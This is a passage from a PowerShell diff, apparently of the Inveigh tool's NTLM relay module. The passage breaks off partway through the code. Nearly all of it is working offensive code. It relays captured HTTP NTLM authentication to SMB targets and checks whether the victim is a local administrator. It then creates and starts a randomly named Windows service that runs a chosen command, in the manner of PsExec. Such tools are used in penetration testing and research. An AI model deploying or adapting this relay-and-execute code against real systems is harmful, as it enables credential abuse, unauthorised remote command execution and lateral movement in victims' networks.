$SMB_relay_response_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) + + if(($SMB_version -eq 'SMB1' -and [System.BitConverter]::ToString($SMB_client_receive[9..12]) -eq '00-00-00-00') -or ($SMB_version -ne 'SMB1' -and [System.BitConverter]::ToString($SMB_client_receive[12..15]) -eq '00-00-00-00')) + { + $inveigh.console_queue.Add("$HTTP_type to SMB relay authentication successful for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string on $Target") + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - $HTTP_type to SMB relay authentication successful for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string on $Target") + } + + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - $HTTP_type to SMB relay authentication successful for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string on $Target") + } + + } + else + { + $inveigh.console_queue.Add("$HTTP_type to SMB relay authentication failed for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string on $Target") + $inveigh.SMBRelay_failed_list.Add("$HTTP_NTLM_domain_string\$HTTP_NTLM_user_string $Target") + $SMB_relay_failed = $true + $SMB_relay_socket.Close() + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - $HTTP_type to SMB relay authentication failed for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string on $Target") + } + + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - $HTTP_type to SMB relay authentication failed for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string on $Target") + } + + } + + if(!$SMB_relay_failed) { - switch ($k) + if(!$Service) { - - 0 - { - $SMB_relay_execute_send = 0x00,0x00,0x00,0x45,0xff,0x53,0x4d,0x42,0x75,0x00,0x00,0x00,0x00, - 0x18,0x01,0x48,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, - 0x00,0x00,0xff,0xff + - $inveigh.process_ID_bytes + - $SMB_user_ID + - 0x00,0x00,0x04,0xff,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x1a,0x00, - 0x00,0x5c,0x5c,0x31,0x30,0x2e,0x31,0x30,0x2e,0x32,0x2e,0x31,0x30, - 0x32,0x5c,0x49,0x50,0x43,0x24,0x00,0x3f,0x3f,0x3f,0x3f,0x3f,0x00 - } - - 1 - { - $SMB_relay_execute_send = 0x00,0x00,0x00,0x5b,0xff,0x53,0x4d,0x42,0xa2,0x00,0x00,0x00,0x00, - 0x18,0x02,0x28,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, - 0x00,0x00,0x00,0x08 + - $inveigh.process_ID_bytes + - $SMB_user_ID + - 0x03,0x00,0x18,0xff,0x00,0x00,0x00,0x00,0x07,0x00,0x16,0x00,0x00, - 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x02,0x00,0x00,0x00,0x00, - 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x01, - 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x02,0x00,0x00,0x00,0x00,0x08, - 0x00,0x5c,0x73,0x76,0x63,0x63,0x74,0x6c,0x00 - } - - 2 - { - $SMB_relay_execute_send = 0x00,0x00,0x00,0x87,0xff,0x53,0x4d,0x42,0x2f,0x00,0x00,0x00,0x00, - 0x18,0x05,0x28,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, - 0x00,0x00,0x00,0x08 + - $inveigh.process_ID_bytes + - $SMB_user_ID + - 0x04,0x00,0x0e,0xff,0x00,0x00,0x00,0x00,0x40,0xea,0x03,0x00,0x00, - 0xff,0xff,0xff,0xff,0x08,0x00,0x48,0x00,0x00,0x00,0x48,0x00,0x3f, - 0x00,0x00,0x00,0x00,0x00,0x48,0x00,0x05,0x00,0x0b,0x03,0x10,0x00, - 0x00,0x00,0x48,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xd0,0x16,0xd0, - 0x16,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x01,0x00, - 0x81,0xbb,0x7a,0x36,0x44,0x98,0xf1,0x35,0xad,0x32,0x98,0xf0,0x38, - 0x00,0x10,0x03,0x02,0x00,0x00,0x00,0x04,0x5d,0x88,0x8a,0xeb,0x1c, - 0xc9,0x11,0x9f,0xe8,0x08,0x00,0x2b,0x10,0x48,0x60,0x02,0x00,0x00, - 0x00 - - $SMB_multiplex_id = 0x05 - } - - 3 - { - $SMB_relay_execute_send = $SMB_relay_execute_ReadAndRequest - } - - 4 - { - $SMB_relay_execute_send = 0x00,0x00,0x00,0x9b,0xff,0x53,0x4d,0x42,0x2f,0x00,0x00,0x00,0x00, - 0x18,0x05,0x28,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, - 0x00,0x00,0x00,0x08 + - $inveigh.process_ID_bytes + - $SMB_user_ID + - 0x06,0x00,0x0e,0xff,0x00,0x00,0x00,0x00,0x40,0xea,0x03,0x00,0x00, - 0xff,0xff,0xff,0xff,0x08,0x00,0x50,0x00,0x00,0x00,0x5c,0x00,0x3f, - 0x00,0x00,0x00,0x00,0x00,0x5c,0x00,0x05,0x00,0x00,0x03,0x10,0x00, - 0x00,0x00,0x5c,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x38,0x00,0x00, - 0x00,0x00,0x00,0x0f,0x00,0x00,0x00,0x03,0x00,0x15,0x00,0x00,0x00, - 0x00,0x00,0x00,0x00,0x15,0x00,0x00,0x00 + - $SMB_service_bytes + - 0x00,0x00,0x00,0x00,0x00,0x00,0x3f,0x00,0x0f,0x00 - - $SMB_multiplex_id = 0x07 - } - - 5 - { - $SMB_relay_execute_send = $SMB_relay_execute_ReadAndRequest - } - - 6 - { - $SMB_relay_execute_send = [Array] 0x00 + - $SMB_service_data_length_bytes + - 0xff,0x53,0x4d,0x42,0x2f,0x00,0x00,0x00,0x00,0x18,0x05,0x28,0x00, - 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x08 + - $inveigh.process_ID_bytes + - $SMB_user_ID + - 0x08,0x00,0x0e,0xff,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x00, - 0xff,0xff,0xff,0xff,0x08,0x00 + - $SMB_service_byte_count_bytes + - 0x00,0x00 + - $SMB_service_byte_count_bytes + - 0x3f,0x00,0x00,0x00,0x00,0x00 + - $SMB_service_byte_count_bytes + - 0x05,0x00,0x00,0x03,0x10,0x00,0x00,0x00 + - $SMB_service_byte_count_bytes + - 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0c, - 0x00 + - $SMB_context_handler + - 0x15,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x15,0x00,0x00,0x00 + - $SMB_service_bytes + - 0x00,0x00 + - $SMB_referent_ID_bytes + - 0x15,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x15,0x00,0x00,0x00 + - $SMB_service_bytes + - 0x00,0x00,0xff,0x01,0x0f,0x00,0x10,0x01,0x00,0x00,0x03,0x00,0x00, - 0x00,0x00,0x00,0x00,0x00 + - $SMB_relay_command_length_bytes + - 0x00,0x00,0x00,0x00 + - $SMB_relay_command_length_bytes + - $SMB_relay_command_bytes + - 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, - 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, - 0x00,0x00 - - $SMB_multiplex_id = 0x09 - } - - 7 - { - $SMB_relay_execute_send = $SMB_relay_execute_ReadAndRequest - } - - - 8 - { - $SMB_relay_execute_send = 0x00,0x00,0x00,0x73,0xff,0x53,0x4d,0x42,0x2f,0x00,0x00,0x00,0x00, - 0x18,0x05,0x28,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, - 0x00,0x00,0x00,0x08 + - $inveigh.process_ID_bytes + - $SMB_user_ID + - 0x0a,0x00,0x0e,0xff,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x00, - 0xff,0xff,0xff,0xff,0x08,0x00,0x34,0x00,0x00,0x00,0x34,0x00,0x3f, - 0x00,0x00,0x00,0x00,0x00,0x34,0x00,0x05,0x00,0x00,0x03,0x10,0x00, - 0x00,0x00,0x34,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x1c,0x00,0x00, - 0x00,0x00,0x00,0x13,0x00 + - $SMB_context_handler + - 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 - } - - 9 - { - $SMB_relay_execute_send = $SMB_relay_execute_ReadAndRequest - } - - 10 - { - $SMB_relay_execute_send = 0x00,0x00,0x00,0x6b,0xff,0x53,0x4d,0x42,0x2f,0x00,0x00,0x00,0x00, - 0x18,0x05,0x28,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, - 0x00,0x00,0x00,0x08 + - $inveigh.process_ID_bytes + - $SMB_user_ID + - 0x0b,0x00,0x0e,0xff,0x00,0x00,0x00,0x00,0x40,0x0b,0x01,0x00,0x00, - 0xff,0xff,0xff,0xff,0x08,0x00,0x2c,0x00,0x00,0x00,0x2c,0x00,0x3f, - 0x00,0x00,0x00,0x00,0x00,0x2c,0x00,0x05,0x00,0x00,0x03,0x10,0x00, - 0x00,0x00,0x2c,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x14,0x00,0x00, - 0x00,0x00,0x00,0x02,0x00 + - $SMB_context_handler - } - - 11 - { - $SMB_relay_execute_send = $SMB_relay_execute_ReadAndRequest - } - + $SMB_service_random = [String]::Join("00-",(1..20 | ForEach-Object{"{0:X2}-" -f (Get-Random -Minimum 65 -Maximum 90)})) + $SMB_service = $SMB_service_random -replace "-00","" + $SMB_service = $SMB_service.Substring(0,$SMB_service.Length - 1) + $SMB_service = $SMB_service.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + $SMB_service = New-Object System.String ($SMB_service,0,$SMB_service.Length) + $SMB_service_random += '00-00-00-00-00' + $SMB_service_bytes = $SMB_service_random.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} } - - $SMB_relay_execute_stream.Write($SMB_relay_execute_send,0,$SMB_relay_execute_send.Length) - $SMB_relay_execute_stream.Flush() - - if($SMBRelayNetworkTimeout) + else { - $SMB_relay_execute_timeout = New-Timespan -Seconds $SMBRelayNetworkTimeout - $SMB_relay_execute_stopwatch = [System.Diagnostics.Stopwatch]::StartNew() - - while(!$SMB_relay_execute_stream.DataAvailable) - { + $SMB_service = $Service + $SMB_service_bytes = [System.Text.Encoding]::Unicode.GetBytes($Service) - if($SMB_relay_execute_stopwatch.Elapsed -ge $SMB_relay_execute_timeout) - { - $inveigh.console_queue.Add("SMB relay target didn't respond within $SMBRelayNetworkTimeout seconds") - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - SMB relay target didn't respond within $SMBRelayNetworkTimeout seconds")]) - $SMB_relay_failed = $true - break SMB_relay_execute_loop - } - - } - - } - - if ($k -eq 5) - { - $SMB_relay_execute_stream.Read($SMB_relay_execute_bytes,0,$SMB_relay_execute_bytes.Length) - $SMB_context_handler = $SMB_relay_execute_bytes[88..107] - - if([System.BitConverter]::ToString($SMB_relay_execute_bytes[108..111]) -eq '00-00-00-00' -and [System.BitConverter]::ToString($SMB_context_handler) -ne '00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00') + if([Bool]($SMB_service.Length % 2)) { - $inveigh.console_queue.Add("$HTTP_NTLM_domain_string\$HTTP_NTLM_user_string is a local administrator on $SMBRelayTarget") - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string is a local administrator on $SMBRelayTarget")]) - } - elseif([System.BitConverter]::ToString($SMB_relay_execute_bytes[108..111]) -eq '05-00-00-00') - { - $inveigh.console_queue.Add("$HTTP_NTLM_domain_string\$HTTP_NTLM_user_string is not a local administrator on $SMBRelayTarget") - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string is not a local administrator on $SMBRelayTarget")]) - $inveigh.SMBRelay_failed_list.Add("$HTTP_NTLM_domain_string\$HTTP_NTLM_user_string $SMBRelayTarget") - $SMB_relay_failed = $true + $SMB_service_bytes += 0x00,0x00 } else { - $SMB_relay_failed = $true + $SMB_service_bytes += 0x00,0x00,0x00,0x00 + } } - elseif (($k -eq 7) -or ($k -eq 9) -or ($k -eq 11)) + + $SMB_service_length = [System.BitConverter]::GetBytes($SMB_service.Length + 1) + $Command = "%COMSPEC% /C `"" + $Command + "`"" + [System.Text.Encoding]::UTF8.GetBytes($Command) | ForEach-Object{$PsExec_command += "{0:X2}-00-" -f $_} + + if([Bool]($Command.Length % 2)) { - $SMB_relay_execute_stream.Read($SMB_relay_execute_bytes,0,$SMB_relay_execute_bytes.Length) - - switch($k) - { - - 7 - { - $SMB_context_handler = $SMB_relay_execute_bytes[92..111] - $SMB_relay_execute_error_message = "Service creation fault context mismatch" - } - - 11 - { - $SMB_relay_execute_error_message = "Service start fault context mismatch" - } - - 13 - { - $SMB_relay_execute_error_message = "Service deletion fault context mismatch" - } - - } - - if([System.BitConverter]::ToString($SMB_context_handler[0..3]) -ne '00-00-00-00') - { - $SMB_relay_failed = $true - } - - if([System.BitConverter]::ToString($SMB_relay_execute_bytes[88..91]) -eq '1a-00-00-1c') - { - $inveigh.console_queue.Add("$SMB_relay_execute_error_message service on $SMBRelayTarget") - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - $SMB_relay_execute_error on $SMBRelayTarget")]) - $SMB_relay_failed = $true - } - - } + $PsExec_command += '00-00' + } else { - $SMB_relay_execute_stream.Read($SMB_relay_execute_bytes,0,$SMB_relay_execute_bytes.Length) - } - - if(!$SMB_relay_failed -and $k -eq 7) + $PsExec_command += '00-00-00-00' + } + + $PsExec_command_bytes = $PsExec_command.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + $PsExec_command_length_bytes = [System.BitConverter]::GetBytes($PsExec_command_bytes.Length / 2) + + $SMB_path = "\\" + $Target + "\IPC$" + + if($SMB_version -eq 'SMB1') { - $inveigh.console_queue.Add("SMB relay service $SMB_service created on $SMBRelayTarget") - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - SMB relay service $SMB_service created on $SMBRelayTarget")]) + $SMB_path_bytes = [System.Text.Encoding]::UTF8.GetBytes($SMB_path) + 0x00 } - elseif((!$SMB_relay_failed) -and ($k -eq 9)) + else { - $inveigh.console_queue.Add("SMB relay command likely executed on $SMBRelayTarget") - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - SMB relay command likely executed on $SMBRelayTarget")]) - - if($SMBRelayAutoDisable -eq 'Y') + $SMB_path_bytes = [System.Text.Encoding]::Unicode.GetBytes($SMB_path) + } + + $SMB_named_pipe_UUID = 0x81,0xbb,0x7a,0x36,0x44,0x98,0xf1,0x35,0xad,0x32,0x98,0xf0,0x38,0x00,0x10,0x03 + $SMB_client_stream = $SMB_relay_socket.GetStream() + $SMB_split_index = 4256 + + if($SMB_version -eq 'SMB1') + { + $SMB_client_stage = 'TreeConnectAndXRequest' + + :SMB_execute_loop while ($SMB_client_stage -ne 'Exit') { - $inveigh.SMB_relay = $false - $inveigh.console_queue.Add("SMB relay auto disabled due to success") - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - SMB relay auto disabled due to success")]) + + switch ($SMB_client_stage) + { + + 'TreeConnectAndXRequest' + { + $packet_SMB_header = Get-PacketSMBHeader 0x75 0x18 0x01,0x48 0xff,0xff $inveigh.process_ID_bytes $SMB_user_ID + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $packet_SMB_data = Get-PacketSMBTreeConnectAndXRequest $SMB_path_bytes + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) + $SMB_client_stage = 'CreateAndXRequest' + } + + 'CreateAndXRequest' + { + $SMB_named_pipe_bytes = 0x5c,0x73,0x76,0x63,0x63,0x74,0x6c,0x00 # \svcctl + $SMB_tree_ID = $SMB_client_receive[28,29] + $packet_SMB_header = Get-PacketSMBHeader 0xa2 0x18 0x02,0x28 $SMB_tree_ID $inveigh.process_ID_bytes $SMB_user_ID + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $packet_SMB_data = Get-PacketSMBNTCreateAndXRequest $SMB_named_pipe_bytes + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) + $SMB_client_stage = 'RPCBind' + } + + 'RPCBind' + { + $SMB_FID = $SMB_client_receive[42,43] + $packet_SMB_header = Get-PacketSMBHeader 0x2f 0x18 0x05,0x28 $SMB_tree_ID $inveigh.process_ID_bytes $SMB_user_ID + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $packet_RPC_data = Get-PacketRPCBind 1 0xb8,0x10 0x01 0x00,0x00 $SMB_named_pipe_UUID 0x02,0x00 + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $packet_SMB_data = Get-PacketSMBWriteAndXRequest $SMB_FID $RPC_data.Length + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $RPC_data_length = $SMB_data.Length + $RPC_data.Length + $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) + $SMB_client_stage = 'ReadAndXRequest' + $SMB_client_stage_next = 'OpenSCManagerW' + } + + 'ReadAndXRequest' + { + Start-Sleep -m 150 + $packet_SMB_header = Get-PacketSMBHeader 0x2e 0x18 0x05,0x28 $SMB_tree_ID $inveigh.process_ID_bytes $SMB_user_ID + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $packet_SMB_data = Get-PacketSMBReadAndXRequest + $packet_SMB_data["SMBReadAndXRequest_FID"] = $SMB_FID + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) + $SMB_client_stage = $SMB_client_stage_next + } + + 'OpenSCManagerW' + { + $packet_SMB_header = Get-PacketSMBHeader 0x2f 0x18 0x05,0x28 $SMB_tree_ID $inveigh.process_ID_bytes $SMB_user_ID + $packet_SCM_data = Get-PacketSCMOpenSCManagerW $SMB_service_bytes $SMB_service_length + $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data + $packet_RPC_data = Get-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x01,0x00,0x00,0x00 0x00,0x00 0x0f,0x00 + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $packet_SMB_data = Get-PacketSMBWriteAndXRequest $SMB_FID ($RPC_data.Length + $SCM_data.Length) + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $RPC_data_length = $SMB_data.Length + $SCM_data.Length + $RPC_data.Length + $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SCM_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) + $SMB_client_stage = 'ReadAndXRequest' + $SMB_client_stage_next = 'CheckAccess' + } + + 'CheckAccess' + { + + if([System.BitConverter]::ToString($SMB_client_receive[108..111]) -eq '00-00-00-00' -and [System.BitConverter]::ToString($SMB_client_receive[88..107]) -ne '00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00') + { + $inveigh.console_queue.Add("$HTTP_NTLM_domain_string\$HTTP_NTLM_user_string is a local administrator on $Target") + $SMB_service_manager_context_handle = $SMB_client_receive[88..107] + $packet_SCM_data = Get-PacketSCMCreateServiceW $SMB_service_manager_context_handle $SMB_service_bytes $SMB_service_length $PsExec_command_bytes $PsExec_command_length_bytes + $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string is a local administrator on $Target") + } + + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string is a local administrator on $Target") + } + + if($SCM_data.Length -lt $SMB_split_index) + { + $SMB_client_stage = 'CreateServiceW' + } + else + { + $SMB_client_stage = 'CreateServiceW_First' + } + + } + elseif([System.BitConverter]::ToString($SMB_client_receive[108..111]) -eq '05-00-00-00') + { + $inveigh.console_queue.Add("$HTTP_NTLM_domain_string\$HTTP_NTLM_user_string is not a local administrator or does not have required privilege on $Target") + $SMB_relay_failed = $true + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string is not a local administrator or does not have required privilege on $Target") + } + + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string is not a local administrator or does not have required privilege on $Target") + } + + } + else + { + $SMB_relay_failed = $true + } + + } + + 'CreateServiceW' + { + $packet_SMB_header = Get-PacketSMBHeader 0x2f 0x18 0x05,0x28 $SMB_tree_ID $inveigh.process_ID_bytes $SMB_user_ID + $packet_SCM_data = Get-PacketSCMCreateServiceW $SMB_service_manager_context_handle $SMB_service_bytes $SMB_service_length $PsExec_command_bytes $PsExec_command_length_bytes + $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data + $packet_RPC_data = Get-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x02,0x00,0x00,0x00 0x00,0x00 0x0c,0x00 + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $packet_SMB_data = Get-PacketSMBWriteAndXRequest $SMB_FID ($RPC_data.Length + $SCM_data.Length) + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $RPC_data_length = $SMB_data.Length + $SCM_data.Length + $RPC_data.Length + $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SCM_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) + $SMB_client_stage = 'ReadAndXRequest' + $SMB_client_stage_next = 'StartServiceW' + } + + 'CreateServiceW_First' + { + $SMB_split_stage_final = [Math]::Ceiling($SCM_data.Length / $SMB_split_index) + $packet_SMB_header = Get-PacketSMBHeader 0x2f 0x18 0x05,0x28 $SMB_tree_ID $inveigh.process_ID_bytes $SMB_user_ID + $SCM_data_first = $SCM_data[0..($SMB_split_index - 1)] + $packet_RPC_data = Get-PacketRPCRequest 0x01 0 0 0 0x02,0x00,0x00,0x00 0x00,0x00 0x0c,0x00 $SCM_data_first + $packet_RPC_data["RPCRequest_AllocHint"] = [System.BitConverter]::GetBytes($SCM_data.Length) + $SMB_split_index_tracker = $SMB_split_index + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $packet_SMB_data = Get-PacketSMBWriteAndXRequest $SMB_FID $RPC_data.Length + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $RPC_data_length = $SMB_data.Length + $RPC_data.Length + $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) + + if($SMB_split_stage_final -le 2) + { + $SMB_client_stage = 'CreateServiceW_Last' + } + else + { + $SMB_split_stage = 2 + $SMB_client_stage = 'CreateServiceW_Middle' + } + + } + + 'CreateServiceW_Middle' + { + $SMB_split_stage++ + $packet_SMB_header = Get-PacketSMBHeader 0x2f 0x18 0x05,0x28 $SMB_tree_ID $inveigh.process_ID_bytes $SMB_user_ID + $SCM_data_middle = $SCM_data[$SMB_split_index_tracker..($SMB_split_index_tracker + $SMB_split_index - 1)] + $SMB_split_index_tracker += $SMB_split_index + $packet_RPC_data = Get-PacketRPCRequest 0x00 0 0 0 0x02,0x00,0x00,0x00 0x00,0x00 0x0c,0x00 $SCM_data_middle + $packet_RPC_data["RPCRequest_AllocHint"] = [System.BitConverter]::GetBytes($SCM_data.Length - $SMB_split_index_tracker + $SMB_split_index) + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $packet_SMB_data = Get-PacketSMBWriteAndXRequest $SMB_FID $RPC_data.Length + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $RPC_data_length = $SMB_data.Length + $RPC_data.Length + $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) + + if($SMB_split_stage -ge $SMB_split_stage_final) + { + $SMB_client_stage = 'CreateServiceW_Last' + } + else + { + $SMB_client_stage = 'CreateServiceW_Middle' + } + + } + + 'CreateServiceW_Last' + { + $packet_SMB_header = Get-PacketSMBHeader 0x2f 0x18 0x05,0x28 $SMB_tree_ID $inveigh.process_ID_bytes $SMB_user_ID + $SCM_data_last = $SCM_data[$SMB_split_index_tracker..$SCM_data.Length] + $packet_RPC_data = Get-PacketRPCRequest 0x02 0 0 0 0x02,0x00,0x00,0x00 0x00,0x00 0x0c,0x00 $SCM_data_last + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $packet_SMB_data = Get-PacketSMBWriteAndXRequest $SMB_FID $RPC_data.Length + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $RPC_data_length = $SMB_data.Length + $RPC_data.Length + $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) + $SMB_client_stage = 'ReadAndXRequest' + $SMB_client_stage_next = 'StartServiceW' + } + + 'StartServiceW' + { + + if([System.BitConverter]::ToString($SMB_client_receive[112..115]) -eq '00-00-00-00') + { + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - SMB relay service $SMB_service created on $Target") + $inveigh.log_file_queue.Add("Trying to execute SMB relay command on 